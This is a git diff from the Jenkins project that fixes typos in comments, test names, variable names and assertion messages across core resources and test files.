                                                                    diff --git a/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy b/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy index c6126861e6..517fe30c58 100644 --- a/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy +++ b/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy @@ -17,7 +17,7 @@ html { dl { EnvironmentContributor.all().each { e -> st.include(it:e, page:"buildEnv", optional:true) } - // allow SCM classes to have buildEnv.groovy since SCM can contirbute environment variables + // allow SCM classes to have buildEnv.groovy since SCM can contribute environment variables SCM.all().each { e -> st.include(class:e.clazz, page:"buildEnv", optional:true) } } } diff --git a/core/src/main/resources/hudson/scm/SCM/project-changes.jelly b/core/src/main/resources/hudson/scm/SCM/project-changes.jelly index 95b864d7d8..3d18b3ab35 100644 --- a/core/src/main/resources/hudson/scm/SCM/project-changes.jelly +++ b/core/src/main/resources/hudson/scm/SCM/project-changes.jelly @@ -26,7 +26,7 @@ THE SOFTWARE. This view is used to render the project change list like /job//changes While this default implementation can work with any SCM, - subclass may provide diffent implementation to present implementation-specific + subclass may provide different implementation to present implementation-specific information. The 'builds' variable contains the collection of AbstractBuild objects diff --git a/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties b/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties index 6d4dfb1b47..2b2bb03e04 100644 --- a/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties +++ b/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties @@ -25,7 +25,7 @@ blurb=Allows an agent to be launched using diff --git a/core/src/main/resources/lib/hudson/propertyTable.jelly b/core/src/main/resources/lib/hudson/propertyTable.jelly index 49df583388..1c69142d1c 100644 --- a/core/src/main/resources/lib/hudson/propertyTable.jelly +++ b/core/src/main/resources/lib/hudson/propertyTable.jelly @@ -25,7 +25,7 @@ THE SOFTWARE. - Dispaly sortable table of properties. + Display sortable table of properties. A Map object that gets rendered as a table. diff --git a/core/src/main/resources/lib/layout/html.jelly b/core/src/main/resources/lib/layout/html.jelly index 4e47688f15..3e6b97cc13 100644 --- a/core/src/main/resources/lib/layout/html.jelly +++ b/core/src/main/resources/lib/layout/html.jelly @@ -39,12 +39,12 @@ THE SOFTWARE. specify path that starts from "/" for loading additional CSS stylesheet. - path is interprted as relative to the context root. e.g., + path is interpreted as relative to the context root. e.g., {noformat}<l:layout css="/plugin/mysuperplugin/css/myneatstyle.css">{noformat} This was originally added to allow plugins to load their stylesheets, but - *the use of thie attribute is discouraged now.* + *the use of this attribute is discouraged now.* plugins should now do so by inserting <style> elements and/or <script> elements in <l:header/> tag. diff --git a/core/src/main/resources/testng-1.0.dtd b/core/src/main/resources/testng-1.0.dtd index be81e230d1..b1fcbc219c 100644 --- a/core/src/main/resources/testng-1.0.dtd +++ b/core/src/main/resources/testng-1.0.dtd @@ -137,7 +137,7 @@ - + diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 7a1b72293b..5656a0a1c5 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -273,7 +273,7 @@ public class FunctionsTest { @Test @PrepareForTest(Stapler.class) - public void testGetActionUrl_unparsable() throws Exception{ + public void testGetActionUrl_unparseable() throws Exception{ assertEquals(null, Functions.getActionUrl(null, createMockAction("http://nowhere.net/stuff?something=^woohoo"))); } diff --git a/core/src/test/java/hudson/PluginWrapperTest.java b/core/src/test/java/hudson/PluginWrapperTest.java index 56504cd0bd..177cdf834b 100644 --- a/core/src/test/java/hudson/PluginWrapperTest.java +++ b/core/src/test/java/hudson/PluginWrapperTest.java @@ -54,7 +54,7 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "fake v42 failed to load", "update Jenkins from v2.0 to v3.0"); + assertContains(ex, "fake v42 failed to load", "update Jenkins from v2.0 to v3.0"); } } @@ -65,7 +65,7 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "dependee v42 failed to load", "dependency v42 is missing. To fix, install v42 or later"); + assertContains(ex, "dependee v42 failed to load", "dependency v42 is missing. To fix, install v42 or later"); } } @@ -77,7 +77,7 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "dependee v42 failed to load", "dependency v3 is older than required. To fix, install v5 or later"); + assertContains(ex, "dependee v42 failed to load", "dependency v3 is older than required. To fix, install v5 or later"); } } @@ -89,11 +89,11 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "dependee v42 failed to load", "dependency v5 failed to load. Fix this plugin first"); + assertContains(ex, "dependee v42 failed to load", "dependency v5 failed to load. Fix this plugin first"); } } - private void assertContians(Throwable ex, String... patterns) { + private void assertContains(Throwable ex, String... patterns) { String msg = ex.getMessage(); for (String pattern : patterns) { assertThat(msg, containsString(pattern)); diff --git a/core/src/test/java/hudson/UtilTest.java b/core/src/test/java/hudson/UtilTest.java index fe44a9630c..b733eecefe 100644 --- a/core/src/test/java/hudson/UtilTest.java +++ b/core/src/test/java/hudson/UtilTest.java @@ -441,16 +441,16 @@ public class UtilTest { Util.WAIT_BETWEEN_DELETION_RETRIES = -1000; Util.GC_AFTER_FAILED_DELETE = true; final AtomicReference thrown = new AtomicReference(); - Thread deleteToBeInterupted = new Thread("deleteToBeInterupted") { + Thread deleteToBeInterrupted = new Thread("deleteToBeInterrupted") { public void run() { try { Util.deleteRecursive(dir); } catch( Throwable x ) { thrown.set(x); } } }; - deleteToBeInterupted.start(); - deleteToBeInterupted.interrupt(); - deleteToBeInterupted.join(500); - assertFalse("deletion stopped", deleteToBeInterupted.isAlive()); + deleteToBeInterrupted.start(); + deleteToBeInterrupted.interrupt(); + deleteToBeInterrupted.join(500); + assertFalse("deletion stopped", deleteToBeInterrupted.isAlive()); assertTrue("d1f1 still exists", d1f1.exists()); unlockFileForDeletion(d1f1); Throwable deletionInterruptedEx = thrown.get(); diff --git a/core/src/test/java/hudson/model/AbstractItemTest.java b/core/src/test/java/hudson/model/AbstractItemTest.java index 82ada9dea5..79507b4335 100644 --- a/core/src/test/java/hudson/model/AbstractItemTest.java +++ b/core/src/test/java/hudson/model/AbstractItemTest.java @@ -21,7 +21,7 @@ public class AbstractItemTest { protected StubAbstractItem() { // sending in null as parent as I don't care for my current tests - super(null, "StubAbatractItem"); + super(null, "StubAbstractItem"); } @SuppressWarnings("rawtypes") diff --git a/core/src/test/java/hudson/model/FileParameterValueTest.java b/core/src/test/java/hudson/model/FileParameterValueTest.java index 13f6e339da..0b079da122 100644 --- a/core/src/test/java/hudson/model/FileParameterValueTest.java +++ b/core/src/test/java/hudson/model/FileParameterValueTest.java @@ -43,8 +43,8 @@ public class FileParameterValueTest { final FileParameterValue param1 = new FileParameterValue(paramName, new File("ws_param1.txt"), "param1.txt"); final FileParameterValue param2 = new FileParameterValue(paramName, new File("ws_param2.txt"), "param2.txt"); - assertNotEquals("Files with same locations shoud be considered as different", param1, param2); - assertNotEquals("Files with same locations shoud be considered as different", param2, param1); + assertNotEquals("Files with same locations should be considered as different", param1, param2); + assertNotEquals("Files with same locations should be considered as different", param2, param1); } @Test public void compareNullParams() { diff --git a/core/src/test/java/hudson/model/UserTest.java b/core/src/test/java/hudson/model/UserTest.java index f652bb0c43..efded82496 100644 --- a/core/src/test/java/hudson/model/UserTest.java +++ b/core/src/test/java/hudson/model/UserTest.java @@ -45,7 +45,7 @@ public class UserTest { @Test @Issue("JENKINS-35967") - public void shoudNotAllowIllegalRestrictedNamesInWrongCase() { + public void shouldNotAllowIllegalRestrictedNamesInWrongCase() { assertIdOrFullNameNotAllowed("system"); assertIdOrFullNameNotAllowed("System"); assertIdOrFullNameNotAllowed("SYSTEM"); @@ -55,7 +55,7 @@ public class UserTest { @Test @Issue("JENKINS-35967") - public void shoudNotAllowIllegalRestrictedNamesEvenIfTrimmed() { + public void shouldNotAllowIllegalRestrictedNamesEvenIfTrimmed() { for (String username : User.getIllegalPersistedUsernames()) { assertIdOrFullNameNotAllowed(username); assertIdOrFullNameNotAllowed(" " + username); diff --git a/core/src/test/java/hudson/util/FormValidationTest.java b/core/src/test/java/hudson/util/FormValidationTest.java index 717d1768f4..286079e224 100644 --- a/core/src/test/java/hudson/util/FormValidationTest.java +++ b/core/src/test/java/hudson/util/FormValidationTest.java @@ -99,10 +99,10 @@ public class FormValidationTest { assertTrue(ok_error.renderHtml().contains(ok.getMessage())); assertTrue(ok_error.renderHtml().contains(error.getMessage())); - final FormValidation warninig_error = aggregate(warning, error); - assertEquals(FormValidation.Kind.ERROR, warninig_error.kind); - assertTrue(warninig_error.renderHtml().contains(error.getMessage())); - assertTrue(warninig_error.renderHtml().contains(warning.getMessage())); + final FormValidation warning_error = aggregate(warning, error); + assertEquals(FormValidation.Kind.ERROR, warning_error.kind); + assertTrue(warning_error.renderHtml().contains(error.getMessage())); + assertTrue(warning_error.renderHtml().contains(warning.getMessage())); } private FormValidation aggregate(FormValidation... fvs) { diff --git a/licenseCompleter.groovy b/licenseCompleter.groovy index 93b33219ca..788e51a529 100644 --- a/licenseCompleter.groovy +++ b/licenseCompleter.groovy @@ -1,5 +1,5 @@ /* - This script auguments the missing license information in our dependencies. + This script augments the missing license information in our dependencies. */ complete { // license constants diff --git a/pom.xml b/pom.xml index 0be4d5f073..d3fd13bc7e 100644 --- a/pom.xml +++ b/pom.xml @@ -79,7 +79,7 @@ THE SOFTWARE. - UTF-8 private diff --git a/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy b/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy index 57c5f29cb0..86ea1ecc83 100644 --- a/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy +++ b/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy @@ -205,7 +205,7 @@ public class BuildCommandTest { assertNull("Project should not be built", project.getBuildByNumber(1)); } - @Test void refuseToBuildNewlyCoppiedProject() { + @Test void refuseToBuildNewlyCopiedProject() { def original = j.createFreeStyleProject("original"); def newOne = (FreeStyleProject) j.jenkins.copy(original, "new-one"); diff --git a/test/src/test/java/hudson/ExtensionListTest.java b/test/src/test/java/hudson/ExtensionListTest.java index 459e4b843f..bebe10ee25 100644 --- a/test/src/test/java/hudson/ExtensionListTest.java +++ b/test/src/test/java/hudson/ExtensionListTest.java @@ -142,7 +142,7 @@ public class ExtensionListTest { assertEquals(3,list.size()); assertNotNull(list.get(Sishamo.DescriptorImpl.class)); - // all 3 should be visisble from LIST, too + // all 3 should be visible from LIST, too assertEquals(3,LIST.size()); assertNotNull(LIST.findByName(Tai.class.getName())); assertNotNull(LIST.findByName(Sishamo.class.getName())); diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index 20b36e87a5..40ab7db0a4 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -126,7 +126,7 @@ public class DeleteViewCommandTest { assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete '"+AllView.DEFAULT_VIEW_NAME+"' view")); } - @Test public void deleteViewShoudlFailIfViewNameIsEmpty() { + @Test public void deleteViewShouldFailIfViewNameIsEmpty() { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) .invokeWithArgs("") @@ -137,7 +137,7 @@ public class DeleteViewCommandTest { assertThat(result.stderr(), containsString("ERROR: View name is empty")); } - @Test public void deleteViewShoudlFailIfViewNameIsSpace() { + @Test public void deleteViewShouldFailIfViewNameIsSpace() { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) .invokeWithArgs(" ") diff --git a/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java b/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java index b67f0e0371..afac245c2f 100644 --- a/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java +++ b/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java @@ -139,7 +139,7 @@ public class OldDataMonitorTest { ensureEntry.await(); // test will hang here due to JENKINS-24763 - File xml = File.createTempFile("OldDataMontiorTest.slowDiscard", "xml"); + File xml = File.createTempFile("OldDataMonitorTest.slowDiscard", "xml"); xml.deleteOnExit(); OldDataMonitor.changeListener .onChange(new Saveable() {public void save() throws IOException {}}, diff --git a/test/src/test/java/hudson/model/AbstractBuildTest.java b/test/src/test/java/hudson/model/AbstractBuildTest.java index 99cffb8718..55a9326b9c 100644 --- a/test/src/test/java/hudson/model/AbstractBuildTest.java +++ b/test/src/test/java/hudson/model/AbstractBuildTest.java @@ -60,8 +60,8 @@ public class AbstractBuildTest { @SuppressWarnings("deprecation") public void reportErrorShouldNotFailForNonPublisherClass() throws Exception { FreeStyleProject prj = j.createFreeStyleProject(); - ErroneousJobProperty errorneousJobProperty = new ErroneousJobProperty(); - prj.addProperty(errorneousJobProperty); + ErroneousJobProperty erroneousJobProperty = new ErroneousJobProperty(); + prj.addProperty(erroneousJobProperty); QueueTaskFuture future = prj.scheduleBuild2(0); assertThat("Build should be actually scheduled by Jenkins", future, notNullValue()); FreeStyleBuild build = future.get(); diff --git a/test/src/test/java/hudson/model/FingerprintTest.java b/test/src/test/java/hudson/model/FingerprintTest.java index 5cb25a258a..1aa139db49 100644 --- a/test/src/test/java/hudson/model/FingerprintTest.java +++ b/test/src/test/java/hudson/model/FingerprintTest.java @@ -269,7 +269,7 @@ public class FingerprintTest { try (ACLContext _ = ACL.as(user1)) { Fingerprint.BuildPtr original = fingerprint.getOriginal(); assertThat("user1 should able to see the origin", fingerprint.getOriginal(), notNullValue()); - assertThat("Job has been deleted, so Job reference shoud return null", fingerprint.getOriginal().getJob(), nullValue()); + assertThat("Job has been deleted, so Job reference should return null", fingerprint.getOriginal().getJob(), nullValue()); assertEquals("user1 sees the wrong original name with Item.DISCOVER", project.getFullName(), original.getName()); assertEquals("user1 sees the wrong original number with Item.DISCOVER", build.getNumber(), original.getNumber()); assertEquals("user1 should be able to see the job in usages", 1, fingerprint._getUsages().size()); diff --git a/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java b/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java index 59b1f36752..786a39db87 100644 --- a/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java +++ b/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java @@ -188,7 +188,7 @@ public class LabelLoadStatisticsQueueLengthTest { private FreeStyleProject createTestProject() throws IOException { FreeStyleProject project = j.createFreeStyleProject(PROJECT_NAME); // In order to queue multiple builds of the job it needs to be - // parameterised. + // parameterized. project.addProperty(new ParametersDefinitionProperty( new StringParameterDefinition(PARAMETER_NAME, "0"))); // Prevent builds from being queued as blocked by allowing concurrent diff --git a/test/src/test/java/hudson/model/MyViewTest.java b/test/src/test/java/hudson/model/MyViewTest.java index be8ecd9902..723e58029f 100644 --- a/test/src/test/java/hudson/model/MyViewTest.java +++ b/test/src/test/java/hudson/model/MyViewTest.java @@ -101,8 +101,8 @@ public class MyViewTest { assertFalse("View " + view.getDisplayName() + " should not contains job " + job.getDisplayName(), view.getItems().contains(job)); assertFalse("View " + view.getDisplayName() + " should not contains job " + job2.getDisplayName(), view.getItems().contains(job2)); auth.add(Job.CONFIGURE, "User1"); - assertTrue("View " + view.getDisplayName() + " should contains job " + job.getDisplayName(), view.getItems().contains(job)); - assertTrue("View " + view.getDisplayName() + " should contains job " + job2.getDisplayName(), view.getItems().contains(job2)); + assertTrue("View " + view.getDisplayName() + " should contain job " + job.getDisplayName(), view.getItems().contains(job)); + assertTrue("View " + view.getDisplayName() + " should contain job " + job2.getDisplayName(), view.getItems().contains(job2)); } diff --git a/test/src/test/java/hudson/model/MyViewsPropertyTest.java b/test/src/test/java/hudson/model/MyViewsPropertyTest.java index 1abfcacd35..7e5f4cfc97 100644 --- a/test/src/test/java/hudson/model/MyViewsPropertyTest.java +++ b/test/src/test/java/hudson/model/MyViewsPropertyTest.java @@ -51,7 +51,7 @@ public class MyViewsPropertyTest { property.setUser(user); user.addProperty(property); property.readResolve(); - assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME + " defaultly.", property.getView(AllView.DEFAULT_VIEW_NAME)); + assertNotNull("Property should contain " + AllView.DEFAULT_VIEW_NAME + " by default.", property.getView(AllView.DEFAULT_VIEW_NAME)); } @Test @@ -82,10 +82,10 @@ public class MyViewsPropertyTest { MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertTrue("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); + assertTrue("Property should contain " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo",property); property.addView(view); - assertTrue("Property should contains " + view.name, property.getViews().contains(view)); + assertTrue("Property should contain " + view.name, property.getViews().contains(view)); } @Test @@ -94,11 +94,11 @@ public class MyViewsPropertyTest { MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getView( + assertNotNull("Property should contain " + AllView.DEFAULT_VIEW_NAME, property.getView( AllView.DEFAULT_VIEW_NAME)); View view = new ListView("foo",property); property.addView(view); - assertEquals("Property should contains " + view.name, view, property.getView(view.name)); + assertEquals("Property should contain " + view.name, view, property.getView(view.name)); } @Test @@ -187,7 +187,7 @@ public class MyViewsPropertyTest { user.addProperty(property); View view = new ListView("foo", property); property.addView(view); - assertTrue("Property should contains view " + view.name, property.getViews().contains(view)); + assertTrue("Property should contain view " + view.name, property.getViews().contains(view)); User.reload(); user = User.get("User"); property = user.getProperty(property.getClass()); diff --git a/test/src/test/java/hudson/model/NodeTest.java b/test/src/test/java/hudson/model/NodeTest.java index 5accdc489a..5901d4e2f6 100644 --- a/test/src/test/java/hudson/model/NodeTest.java +++ b/test/src/test/java/hudson/model/NodeTest.java @@ -181,7 +181,7 @@ public class NodeTest { addDynamicLabel = true; assertTrue("Node should have label1.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("label1"))); assertTrue("Node should have label2.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("label2"))); - assertTrue("Node should have dynamicly added dynamicLabel.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("dynamicLabel"))); + assertTrue("Node should have dynamically added dynamicLabel.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("dynamicLabel"))); assertFalse("Node should not have label notContained.", node.getAssignedLabels().contains(notContained)); assertTrue("Node should have self label.", node.getAssignedLabels().contains(node.getSelfLabel())); } @@ -204,7 +204,7 @@ public class NodeTest { String message = Messages._Node_LabelMissing(node.getNodeName(),j.jenkins.getLabel("notContained")).toString(); assertEquals("Cause of blockage should be missing label.", message, node.canTake(item3).getShortDescription()); ((Slave)node).setMode(Node.Mode.EXCLUSIVE); - assertNotNull("Node should not take project which has null label bacause it is in exclusive mode.", node.canTake(item2)); + assertNotNull("Node should not take project which has null label because it is in exclusive mode.", node.canTake(item2)); message = Messages._Node_BecauseNodeIsReserved(node.getNodeName()).toString(); assertEquals("Cause of blockage should be reserved label.", message, node.canTake(item2).getShortDescription()); node.getNodeProperties().add(new NodePropertyImpl()); @@ -229,12 +229,12 @@ public class NodeTest { public void testCreatePath() throws Exception { Node node = j.createOnlineSlave(); Node node2 = j.createSlave(); - String absolutPath = ((Slave)node).remoteFS; - FilePath path = node.createPath(absolutPath); + String absolutePath = ((Slave)node).remoteFS; + FilePath path = node.createPath(absolutePath); assertNotNull("Path should be created.", path); assertNotNull("Channel should be set.", path.getChannel()); assertEquals("Channel should be equals to channel of node.", node.getChannel(), path.getChannel()); - path = node2.createPath(absolutPath); + path = node2.createPath(absolutePath); assertNull("Path should be null if slave have channel null.", path); } diff --git a/test/src/test/java/hudson/model/ProjectTest.java b/test/src/test/java/hudson/model/ProjectTest.java index 86cfe2435f..b15128ce5d 100644 --- a/test/src/test/java/hudson/model/ProjectTest.java +++ b/test/src/test/java/hudson/model/ProjectTest.java @@ -338,7 +338,7 @@ public class ProjectTest { assertTrue("Project did not save scm checkout strategy.", p.getScmCheckoutStrategy() instanceof SCMCheckoutStrategyImpl); assertEquals("Project did not save quiet period.", 15, p.getQuietPeriod()); assertTrue("Project did not save block if downstream is building.", p.blockBuildWhenDownstreamBuilding()); - assertTrue("Project did not save block if upstream is buildidng.", p.blockBuildWhenUpstreamBuilding()); + assertTrue("Project did not save block if upstream is building.", p.blockBuildWhenUpstreamBuilding()); assertNotNull("Project did not save jdk", p.getJDK()); assertEquals("Project did not save custom workspace.", "/some/path", p.getCustomWorkspace()); } diff --git a/test/src/test/java/hudson/model/QueueTest.java b/test/src/test/java/hudson/model/QueueTest.java index 3370145f9f..2812c1099c 100644 --- a/test/src/test/java/hudson/model/QueueTest.java +++ b/test/src/test/java/hudson/model/QueueTest.java @@ -876,7 +876,7 @@ public class QueueTest { assertTrue(Queue.getInstance().getBuildableItems().get(0).task.getDisplayName().equals(matrixProject.displayName)); } - //let's make sure that the downstram project is not started before the upstream --> we want to simulate + //let's make sure that the downstream project is not started before the upstream --> we want to simulate // the case: buildable-->blocked-->buildable public static class BlockDownstreamProjectExecution extends NodeProperty { @Override diff --git a/test/src/test/java/hudson/model/UserTest.java b/test/src/test/java/hudson/model/UserTest.java index e92cf9ebc5..e21313c8c7 100644 --- a/test/src/test/java/hudson/model/UserTest.java +++ b/test/src/test/java/hudson/model/UserTest.java @@ -252,7 +252,7 @@ public class UserTest { user.addProperty(prop); assertNotNull("User should have SomeUserProperty property.", user.getProperty(SomeUserProperty.class)); assertEquals("UserProperty1 should be assigned to its descriptor", prop, user.getProperties().get(prop.getDescriptor())); - assertTrue("User should should contains SomeUserProperty.", user.getAllProperties().contains(prop)); + assertTrue("User should should contain SomeUserProperty.", user.getAllProperties().contains(prop)); User.reload(); assertNotNull("User should have SomeUserProperty property.", user.getProperty(SomeUserProperty.class)); } @@ -402,7 +402,7 @@ public class UserTest { SecurityContextHolder.getContext().setAuthentication(user2.impersonate()); try{ user.doConfigSubmit(null, null); - fail("User should not have permission to configure antoher user."); + fail("User should not have permission to configure another user."); } catch(Exception e){ if(!(e.getClass().isAssignableFrom(AccessDeniedException2.class))){ @@ -440,7 +440,7 @@ public class UserTest { SecurityContextHolder.getContext().setAuthentication(user2.impersonate()); try{ user.doDoDelete(null, null); - fail("User should not have permission to delete antoher user."); + fail("User should not have permission to delete another user."); } catch(Exception e){ if(!(e.getClass().isAssignableFrom(AccessDeniedException2.class))){ diff --git a/test/src/test/java/hudson/model/ViewTest.java b/test/src/test/java/hudson/model/ViewTest.java index e4de723f7e..9524ef21c6 100644 --- a/test/src/test/java/hudson/model/ViewTest.java +++ b/test/src/test/java/hudson/model/ViewTest.java @@ -417,7 +417,7 @@ public class ViewTest { HtmlForm f = j.createWebClient().getPage(view, "configure").getFormByName("viewConfig"); ((HtmlLabel) DomNodeUtil.selectSingleNode(f, ".//LABEL[text()='Test property']")).click(); j.submit(f); - assertNotNull("View should contains ViewPropertyImpl property.", view.getProperties().get(PropertyImpl.class)); + assertNotNull("View should contain ViewPropertyImpl property.", view.getProperties().get(PropertyImpl.class)); } private ListView listView(String name) throws IOException { diff --git a/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java b/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java index 9e182f2e10..dc2c8e0c5c 100644 --- a/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java +++ b/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java @@ -149,7 +149,7 @@ public class WorkspaceCleanupThreadTest { assertFalse(ws.exists()); } - @Test @WithoutJenkins public void reocurencePeriodIsInhours() { + @Test @WithoutJenkins public void recurrencePeriodIsInHours() { assertEquals( WorkspaceCleanupThread.recurrencePeriodHours * 60 * 60 * 1000 , new WorkspaceCleanupThread().getRecurrencePeriod() diff --git a/test/src/test/java/hudson/scm/ChangeLogSetTest.java b/test/src/test/java/hudson/scm/ChangeLogSetTest.java index cf22379b90..310f28f2b9 100644 --- a/test/src/test/java/hudson/scm/ChangeLogSetTest.java +++ b/test/src/test/java/hudson/scm/ChangeLogSetTest.java @@ -22,7 +22,7 @@ public class ChangeLogSetTest { @Issue("JENKINS-17084") public void catchingExceptionDuringAnnotation() { EntryImpl change = new EntryImpl(); - change.setParent(ChangeLogSet.createEmpty(null)); // otherwise test would actually test only NPE thrown when accessing paret.build + change.setParent(ChangeLogSet.createEmpty(null)); // otherwise test would actually test only NPE thrown when accessing parent.build boolean notCaught = false; try { change.getMsgAnnotated(); diff --git a/test/src/test/java/hudson/search/SearchTest.java b/test/src/test/java/hudson/search/SearchTest.java index ead30aedd2..a3b64218ad 100644 --- a/test/src/test/java/hudson/search/SearchTest.java +++ b/test/src/test/java/hudson/search/SearchTest.java @@ -251,7 +251,7 @@ public class SearchTest { assertEquals(2, jsonArray.size()); boolean foundProjectName = false; - boolean foundDispayName = false; + boolean foundDisplayName = false; for(Object suggestion : jsonArray) { JSONObject jsonSuggestion = (JSONObject)suggestion; @@ -260,12 +260,12 @@ public class SearchTest { foundProjectName = true; } else if(displayName.equals(name)) { - foundDispayName = true; + foundDisplayName = true; } } assertTrue(foundProjectName); - assertTrue(foundDispayName); + assertTrue(foundDisplayName); } @Issue("JENKINS-24433") diff --git a/test/src/test/java/hudson/tasks/MavenTest.java b/test/src/test/java/hudson/tasks/MavenTest.java index bbc3d804a4..5b1c933a23 100644 --- a/test/src/test/java/hudson/tasks/MavenTest.java +++ b/test/src/test/java/hudson/tasks/MavenTest.java @@ -172,7 +172,7 @@ public class MavenTest { j.submit(f); verify(); - // another submission and verfify it survives a roundtrip + // another submission and verify it survives a roundtrip p = j.createWebClient().goTo("configure"); f = p.getFormByName("config"); j.submit(f); @@ -255,16 +255,16 @@ public class MavenTest { { GlobalMavenConfig globalMavenConfig = GlobalMavenConfig.get(); assertNotNull("No global Maven Config available", globalMavenConfig); - globalMavenConfig.setSettingsProvider(new FilePathSettingsProvider("/tmp/settigns.xml")); - globalMavenConfig.setGlobalSettingsProvider(new FilePathGlobalSettingsProvider("/tmp/global-settigns.xml")); + globalMavenConfig.setSettingsProvider(new FilePathSettingsProvider("/tmp/settings.xml")); + globalMavenConfig.setGlobalSettingsProvider(new FilePathGlobalSettingsProvider("/tmp/global-settings.xml")); FreeStyleProject p = j.createFreeStyleProject(); p.getBuildersList().add(new Maven("b", null, "b.pom", "c=d", "-e", true)); Maven m = p.getBuildersList().get(Maven.class); assertEquals(FilePathSettingsProvider.class, m.getSettings().getClass()); - assertEquals("/tmp/settigns.xml", ((FilePathSettingsProvider)m.getSettings()).getPath()); - assertEquals("/tmp/global-settigns.xml", ((FilePathGlobalSettingsProvider)m.getGlobalSettings()).getPath()); + assertEquals("/tmp/settings.xml", ((FilePathSettingsProvider)m.getSettings()).getPath()); + assertEquals("/tmp/global-settings.xml", ((FilePathGlobalSettingsProvider)m.getGlobalSettings()).getPath()); } } @@ -286,7 +286,7 @@ public class MavenTest { new StringParameterDefinition("exclamation_mark", "!"), new StringParameterDefinition("at_sign", "@"), new StringParameterDefinition("sharp", "#"), - new StringParameterDefinition("dolar", "$"), + new StringParameterDefinition("dollar", "$"), new StringParameterDefinition("percent", "%"), new StringParameterDefinition("circumflex", "^"), new StringParameterDefinition("ampersand", "&"), diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index a28dd1b41a..e6057b78c2 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -87,7 +87,7 @@ public class I18nTest { } @Issue("JENKINS-39034") - @Test //country testing with delimeter '-' instead of '_' + @Test //country testing with delimiter '-' instead of '_' public void test_valid_region() throws IOException, SAXException { JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en-AU").getJSONObject(); Assert.assertEquals("ok", response.getString("status")); diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 311dc6b7e1..f53cb81bbc 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -610,9 +610,9 @@ public class JenkinsTest { assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); assertThat("We should have disabled two protocols", j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 2)); - assertThat(protocolToDisable1 + " must be disaabled after the roundtrip", + assertThat(protocolToDisable1 + " must be disabled after the roundtrip", j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); - assertThat(protocolToDisable2 + " must be disaabled after the roundtrip", + assertThat(protocolToDisable2 + " must be disabled after the roundtrip", j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); } } diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index b6eca3ab30..9f6c385fe5 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -141,7 +141,7 @@ public class Security218CliTest { //TODO: Fix the conversion layer (not urgent) // There is an issue in the conversion layer after the migration to another XALAN namespace - // with newer libs. SECURITY-218 